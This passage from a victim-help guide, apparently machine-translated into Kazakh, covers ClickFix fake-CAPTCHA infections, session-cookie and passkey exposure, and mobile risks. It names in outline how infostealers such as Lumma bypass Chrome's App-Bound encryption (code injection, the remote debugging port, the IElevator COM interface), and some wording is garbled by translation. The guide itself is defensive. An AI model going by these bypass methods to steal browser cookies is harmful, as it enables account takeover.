Бұл рұқсат кілтінің қайда сақталғанына байланысты және одан да маңыздысы, ол құпия кілтпен жүйеге кіргеннен кейін жасалған белсенді сеанс cookie файлын ұрлағаны сөзсіз. Біріншіден, егер сіз осы компьютерде Chrome/Edge жүйесінде Google/Microsoft жүйесіне әлдеқашан кірген болсаңыз, шабуылдаушыға рұқсат кілтіңіз қажет емес, себебі олар сіздің тірі аутентификацияланған сеанс cookie файлын ұрлады - сондықтан әлі де басу керек. Барлық сеанстардан шығыңыз таза құрылғыда. Екіншіден, егер сіздің рұқсат кілтіңіз Windows Hello жүйесінде сақталған болса (TPM 2.0 аппараттық чип) немесе физикалық YubiKey немесе iPhone құрылғысында аппараттық чиптің ішіндегі жеке кілт зиянды бағдарлама арқылы экспортталмайды. Дегенмен, синхрондалған рұқсат кілттерін сол компьютердегі құлыптан босатылған үшінші тарап шолғыш кеңейтім қоймасында сақтасаңыз, тіркелгіңіздің қауіпсіздік параметрлерінде сол рұқсат кілттерін дереу жойыңыз.

Google Chrome-ның «Қолданбаға байланысты шифрлауы» (v20 cookie файлдары) әсер етеді және әсер етеді Lumma Stealer оны айналып өту?¶

Chrome 127+ нұсқасынан бастап Google Cookie шифрлауын байланыстыратын Windows жүйесінде App-Bound шифрлауды енгізді (`v20` префиксі) жоғары Windows жүйесінің қызметіне (`GoogleChromeElevationService`) артықшылығы төмен зиянды бағдарламаның cookie файлдарының шифрын ашуын тоқтату үшін. Дегенмен, заманауи құрылыстар Лумма ұры, ҰрлықC, және Медуза кодын тікелей бассыз данасына енгізу арқылы App-Bound шифрлауды белсенді түрде айналып өтіңіз chrome.exe, Chrome қашықтан жөндеу портын теріс пайдалану (--remote-debugging-port) немесе қоңырау шалу үшін артықшылықтарды жоғарылату IElevator COM интерфейсі. ClickFix пайдалы жүктемесін орындаған болсаңыз, ешқашан Chrome 127+ сеанс cookie файлдарын қорғады деп ойламаңыз; әрқашан барлық сеанстарды дереу жойыңыз.

Менің iPhone немесе Android телефонымда орындалатын ClickFix пәрмені телефоныма жұқтыруы мүмкін бе? Win + R зиянды бағдарлама?¶

Егер сіз iPhone телефонындағы жалған CAPTCHA-ны түртсеңіз (`iOS`) немесе Android телефоны, кез келген Windows PowerShell / mshta.exe пәрмені мобильді алмасу буферіне көшірілді iOS немесе Android жүйесінде орындай алмайды, өйткені мобильді операциялық жүйелерде а жоқ Жеңіс + R Диалогты іске қосу, powershell.exe, немесе mshta.exe. Дегенмен, кейбір ұялы байланысқа ие ClickFix беттері мобильді пайдаланушы агентіңізді анықтайды және сізді зиянды Android орнатуға бағыттайды. .apk файлы, жалған iOS мобильді құрылғысын басқару (`MDM`) конфигурация профилі немесе зиянды PWA/Web Push хабарландыру жазылымы. Жүктеп алынған файлды немесе профильді орнатпағаныңызды тексеріңіз.

Қатысты нұсқаулықтар¶

• Сеанс cookie файлдарын ұрлау, ақпаратты ұрлаушы зиянды бағдарлама және рұқсат кілтін қайтарып алу
• Cryptocurrency әмиянының ағызу және тұқымдық фразалар ымыраға келу
• Зиянды бағдарлама, төлемдік бағдарлама және шпиондық бағдарлама инфекциясы
• Электрондық пошта тіркелгісі бұзылды, қайта жіберу ережелері және қалпына келтіру
• Жабдықтау тізбегі npm/PyPI пакетінің бұзылуы және әзірлеуші жұмыс станциясының кілтін айналдыру
• Жалған антивирустық қорқынышты бағдарлама, хабарландыру спамы және шолғышты жіберу рұқсатын жою
• Ел бойынша жедел жәрдем нөмірлері

Дереккөздер және ресми нұсқаулар¶

• Киберқауіпсіздік және инфрақұрылымдық қауіпсіздік агенттігі (CISA) және Федералдық тергеу бюросы (FBI) (Америка Құрама Штаттары): Киберқауіпсіздік бойынша бірлескен кеңес (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): Жерден тыс өмір сүруді азайту (LOLBin) және сеанс токенін ұрлау шабуылдары.
• Ұлттық стандарттар және технологиялар институты (NIST) (Америка Құрама Штаттары): Арнайы жарияланым 800-61 Rev. 2: Компьютерлік қауіпсіздік инциденттерін өңдеу нұсқаулығы және SP 800-63B: Цифрлық сәйкестендіру нұсқаулары (сеансты басқару және қайта аутентификация).
• Microsoft Threat Intelligence (Microsoft Security): * ClickFix әлеуметтік инженерлік науқандарын талдау, жалған CAPTCHA алмасу буферін енгізу (RunMRU) және PowerShell сценарийінің блогын тіркеу (Event ID 4104)*.
• Ұлттық киберқауіпсіздік орталығы (NCSC) (Біріккен Корольдік): Зиянды бағдарламалар мен төлемді бағдарламалық қамтамасыз ету шабуылдарын азайту және құрылғы деңгейіндегі тіркелгі деректерін ұрлау жөніндегі нұсқаулық.
• Еуропалық Одақ киберқауіпсіздік агенттігі (ENISA): ENISA қауіп ландшафтының есебі: ақпарат ұрлаушылары (Lumma, StealC, RedLine, AMOS) және сеанс cookie файлдарын ұрлауға қарсы шаралар.